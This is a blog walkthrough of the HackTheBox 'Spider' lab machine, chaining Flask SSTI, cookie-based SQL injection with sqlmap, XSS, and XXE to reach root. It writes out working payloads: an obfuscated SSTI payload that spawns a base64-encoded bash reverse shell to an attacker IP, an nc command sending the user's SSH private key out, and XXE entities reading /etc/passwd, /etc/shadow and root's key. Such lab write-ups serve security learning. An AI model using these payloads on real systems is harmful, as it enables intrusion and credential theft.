HackTheBox: Spider

Link: https://app.hackthebox.eu/machines/Spider

Enumeration

TCP Port Scan

nmap tcp scan top 1000 ports, with version detection

An nmap scan shows only Port 22, SSH, and 80, Nginx web open.

UDP Port Scan

udp top 1000 ports with version detection

We possibly have an open 68/udp port running dhcpc.

Web Server

First, a modification to the /etc/hosts file is required in order to access the website, and now we can access it via http://spider.htb.

Initial inspection shows a furniture store, using the free Amado template. We have the ability to create an account and it gives us a UUID for login:

test:test,  95553e67-9f17-4bd1-948a-2a50cc0fa9c8

After logging in with our UUID, and password test, we can add items to the cart but the checkout button does not actually work.

Inspecting the network traffic, we have a JWT session token with the HttpOnly attribute. When decoding it, we get the following:

jwt decoded

It contains the items in our cart, and our logged in UUID. There is also some sort of randomly generated payload in the center, if we log out and back in, the payload changes but the header will stay the same with the cart items and logged in UUID.

Inspecting the source code, we can see a static directory, attempting to acces it returns a URL not found.

Gobuster

Gobuster dir scan

Our gobuster scan reveals much of what we found by manual enumeration. /main redirects to /login so the admin login is still the same regular login. I’m not sure that finding a different UUID would make any difference, it’d be impossible to brute force due to the guaranteed uniqueness of a UUID.

I ran both a nikto scan and a gobuster vhost scan and returned no actionable results.

I also noticed the product ID appears after /product-details, so I used this to test for SQLi. One run suspected the backend was Altibase, but still no usable results.

I was running out of things to test, so next I started looking into web fuzzing with SecLists wordlists. I suspected this might be some sort of Python templating so I used a template-engines-expression wordlist with wfuzz and several of the payloads returned a 200 code:

I attempted to register my own:

{{7*7}},a : 8d5d00ac-c988-4fca-8908-69b674b31ce9

When we login, the main page still shows our username as {{7*7}}, however navigating to /user shows our username as 49! There is a Server Side Template Injection here!

Now we can try to craft a different payload and extract more information. This cheatsheet shows us some of the payloads we can craft. I also found out the username has a 10 character limit on it.

Here are some of the username,password: uuids I tried:

{{config}},a: aaf2f21b-3af9-4769-abdc-b1a9eb74bf4e

This returned:

<Config {
     'ENV': 'production', 
     'DEBUG': False, 
     'TESTING': False, 
     'PROPAGATE_EXCEPTIONS': None,
     'PRESERVE_CONTEXT_ON_EXCEPTION': None,
     'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942',
     'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
     'USE_X_SENDFILE': False, 
     'SERVER_NAME': None, 
     'APPLICATION_ROOT': '/', 
     'SESSION_COOKIE_NAME': 'session', 
     'SESSION_COOKIE_DOMAIN': False, 
     'SESSION_COOKIE_PATH': None, 
     'SESSION_COOKIE_HTTPONLY': True, 
     'SESSION_COOKIE_SECURE': False, 
     'SESSION_COOKIE_SAMESITE': None, 
     'SESSION_REFRESH_EACH_REQUEST': True, 
     'MAX_CONTENT_LENGTH': None, 
     'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 
     'TRAP_BAD_REQUEST_ERRORS': None, 
     'TRAP_HTTP_EXCEPTIONS': False, 
     'EXPLAIN_TEMPLATE_LOADING': False, 
     'PREFERRED_URL_SCHEME': 'http', 
     'JSON_AS_ASCII': True, 
     'JSON_SORT_KEYS': True, 
     'JSONIFY_PRETTYPRINT_REGULAR': False, 
     'JSONIFY_MIMETYPE': 'application/json', 
     'TEMPLATES_AUTO_RELOAD': None, 
     'MAX_COOKIE_SIZE': 4093, 
     'RATELIMIT_ENABLED': True, 
     'RATELIMIT_DEFAULTS_PER_METHOD': False, 
     'RATELIMIT_SWALLOW_ERRORS': False, 
     'RATELIMIT_HEADERS_ENABLED': False, 
     'RATELIMIT_STORAGE_URL': 'memory://', 
     'RATELIMIT_STRATEGY': 'fixed-window', 
     'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 
     'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 
     'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 
     'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 
     'UPLOAD_FOLDER': 'static/uploads'}>

Most noticeably, we get a SecretKey, which is probably used in crafting the JWT token. This config also is very similar to the following, so I believe the application is Python Flask.

We need to craft our own tokens and use the uuid parameter to do SQLi. We can use flask_unsign to help us craft tokens.

with a code like this, we can generate tokens:

from flask_unsign import session as s

session = s.sign({'uuid':'test'}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')

print(session)

Now we can try to pass this to SQLmap to inject into the cookie. We can pass python code to the --eval parameter. We can dynamically have sqlmap replace the uuid value with the injections by specifying what variable we want to use (session in our case) and putting a * to show where to inject. See here for more info.

Our command will be the following:

sqlmap http://spider.htb --eval "from flask_unsign import session as s; session = s.sign({'uuid':session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --delay 1 --dump

sqlmap will ask some questions:

  • custom injection marker found, process it? Y
  • target URL provides own cookies, merge? n
  • URL encode cookie values? n

After a few moments, the MySQL > 5.0.12 time-based blind proves effective, we can skip payloads for other DBMSs and continue testing for MySQL. When it asks to test others, provide N.

We get our injection code as the following:

---
Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=' AND (SELECT 9672 FROM (SELECT(SLEEP(5)))kiaK) AND 'kxOB'='kxOB

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: session=' UNION ALL SELECT CONCAT(0x7170707a71,0x53496e4e4c4c78736d486f42507a715065735a7072796b417168586948776b4a666b6c685a576249,0x71766b7871)-- -
---

Because we also specified --dump, SQLmap will automatically use these payloads to dump more information from the db.

In our case, we have one database shop with several tables: users, messages, items. Most importantly, the users table stores information in plaintext:

users table

The messages table also gives us an endpoint of http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

First, let’s login with our uuid and password for chiv and see if we get any extra tools, which we do have a new screen:

admin panel

The messages comes from the messages table again. We have the ability to add our own messages, which is not very useful.

View support just shows The admin board is empty! with no other options. If we navigate to that link from the messages, it seems to be the form for support.

Although it says we can use an email, attempting to causes a WAF error. Using a phone such as 1112223333 works. This form also does not sanitize input and is prone to XSS, we can submit <script>alert('hi');</script> in the message and navigating back to the support page will popup a message.

My next thought is if we can chain XSS with SSTI and post some sort of template code that would be executed on the page, but unfortunately the message input does not seem to be vulnerable to SSTI from a few checks. Attempting to do so in the contact field posts an error “Why would you need ‘{{‘ or ‘}}’ in a contact value?”. This leads me to believe it might be vulnerable to injection and not the message field.

I found this article about filter bypasses, including the WAF for a . like we saw before. Through several attempts, we cannot have ' . if {{ }} in the payload. So we came close from that article, but I needed something in place of if.

We can replace apostrophes with quotes, keep the general layout of the if statement but instead use a with statement, use the unicode for the underscore of \x5f, base64 encode a bash shell and start up a nc listener.

{% with h = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDgvNDQ0NCAwPiYx | base64 -d | bash")["read"]() %} h {% endwith %}

Surprisingly, we get a reverse shell as chiv. Let’s grab their SSH key so we have an easy way back in!

# my machine
nc -lp 4443 > chiv_key

# target machine
nc 10.10.x.x 4443 < ~/.ssh/id_rsa

# wait a few seconds then kill my machines nc listener
# set perms on key
chmod 600 chiv_key

# use key
ssh [email protected] -i chiv_key

With a more stable connection, grab the user.txt flag and we can try to explore from here!

Priv Esc from chiv

Manual Enumeration:

  • We do not know the password for chiv, so running sudo -l will not work for us.
  • /usr/bin/mtr-packet has cap_net_raw+ep capabilities
  • netstat -l --numeric-ports shows we have another web server on port 8080.

We can use the following command to create a SSH tunnel so we can access this from our attacking kali box:

ssh -L 8080:localhost:8080 [email protected] -i chiv_key 

Now we can navigate to localhost:8080 on our kali machine to see a new Beta Login server.

Web Server 2

It appears whatever username we type in here is echoed back out at the top, like so:

our echoed back name

I attempted JS and SSTI injection again but no go on either.

In our ssh terminal I ran the following command to see if we could possibly find the source code on the box:

find / -type f -exec grep -l "Beta Login" {} \; 2>/dev/null

It did not return anything, but there is a /var/www/game folder that is python.

files in this folder

Meanwhile, I checked the source code and there is a hidden version field here as well. However on the /site endpoint, I could not find anything that reference the version number. I tried a gobuster scan with big.txt wordlist but only the login, logout and site endpoints were shown.

Inspecting the cookies, we can see an OFBiz cookie which could be Apache OfBiz, and also a session cookie, which we can decode with flask-unsign

./flask-unsign --decode --cookie <session_cookie>

This returns the following

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}

The == at the end of the lxml value indicates a base64 string, if we decode that, we get:

<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>admin</username>
        <is_admin>0</is_admin>
    </data>
</root>

It appears like some sort of XML.

I changed input="hidden" to input="text" on the version number on the login page and incremented it to 2.0.0. Now if we decode the session cookie, we can see the version increments in the comment:

comment increments

So what we can do is abuse this comment to craft our own XXE injection to return out files. This github has examples of payloads for XXE. We need ours to look like:

<!-- API Version 1 -->
<!DOCTYPE replace [<!ENTITY username SYSTEM "file:///etc/shadow"> ]> <!--

Since we control the version number, we can chain our own code in the version input box to get a DOCTYPE element, and call the element in the username param. I intercepted the request with Burp Suite to modify the payload to the following:

username=%26xxe%3b&version=1.0.0--><!DOCTYPE+foo+[<!ENTITY+xxe+SYSTEM+"/etc/passwd">+]><!--

And when we log in,

our payload

Now we just need to see what other files we can grab. I’m not quite sure what user we are running as, we can see if we can touch anything in /root like the root.txt flag and surprisingly we can grab the flag!

There also appears to be ssh credentials, so we can grab the root’s private key and use it to login. Although just getting the flag is enough for the challenge, I decided to go ahead and grab it just for fun! Just copy the string, and replace all spaces with new lines (then go back and fix the header and footer comments). Set the key to permissions 600 and we can log in!

Bonus as Root

I looked at the source code for the previous app we were on

#!/usr/bin/python3.8

from flask import Flask, session, flash, redirect, request, render_template
from lxml import etree
from base64 import b64decode, b64encode

basexml = """<!-- API Version {0} -->
<root>
    <data>
        <username>{1}</username>
        <is_admin>0</is_admin>
    </data>
</root>"""

app = Flask(__name__)
app.config['SECRET_KEY'] = '\xc5n\xfc\xecz?\x91\xecS\x88E)\x9d\x06\x85\xe1\xbfL\xce\xc5\xa1\x9c\xbaD\xbb6B\x98J' \
                           '\xc1<\x15\xf5(\xd9u\xb0\xbf\xfd,p\x17\xd2\xef$;\xb6\xb8,' \
                           '-\xd2\xf8\xad\x86k\x97_\xa4J\x81\xf4\x8c\xc0 '

blacklisted_chars = "_{}%<>/\"?"


def create_xml(version, username):
    return b64encode(basexml.format(version, username).encode())


def sanitize(inp):
    for i in blacklisted_chars:
        if i in str(inp):
            inp = inp.replace(i, '')
    return inp

def get_username():
    parsed_xml = None
    xml = b64decode(session['lxml']).decode()
    parser = etree.XMLParser(no_network=False, dtd_validation=False)
    try:
        print(xml)
        doc = etree.fromstring(str(xml), parser)
        print("doc")
        parsed_xml = etree.tostring(doc)
        return (doc[0][0].text)
    except Exception as e:
        print(e)
        pass
    return "ERROR"


@app.route("/logout")
def logout():
    session.pop('lxml')
    return redirect("/login", code=302)

@app.route("/login", methods=["GET", "POST"])
def login():
    if "lxml" in session:
        return redirect("/site", code=302)
    if request.method == "POST":
        if request.form['username']:
            username = sanitize(request.form.get("username", 0))
            if len(username) > 0:
                if request.form['version']:
                    session["lxml"] = create_xml(request.form['version'], request.form.get("username"))
                else:
                    session["lxml"] = create_xml("1.0.0", request.form.get("username"))
                session['points'] = 0
                return redirect("/site", code=302)
    return render_template("login.html")


@app.route("/site", methods=["GET", "POST"])
def site():
    if not session['lxml']:
        return redirect("/login", code=302)
    elif request.method == "POST":
        if request.form["points"]:
            session['points'] = int(request.form["points"])
    return render_template("game.html", points=session["points"], username=get_username())


@app.route('/')
def main():
        return redirect("/login", code=302)

if __name__ == '__main__':
    app.run()

We can see it actually sanitizes certain characters out of the username input, but nothing from the version number.

Conclusion

This was a pretty fun box! It heavily revolved around exploiting two webservers, and several different types of injection: SSTI, SQLi, XXE. I had a lot of fun and learned a new tool for decoding flask session tokens in the process!

Comments

No comments available.

Leave a Reply

Your email address will not be published.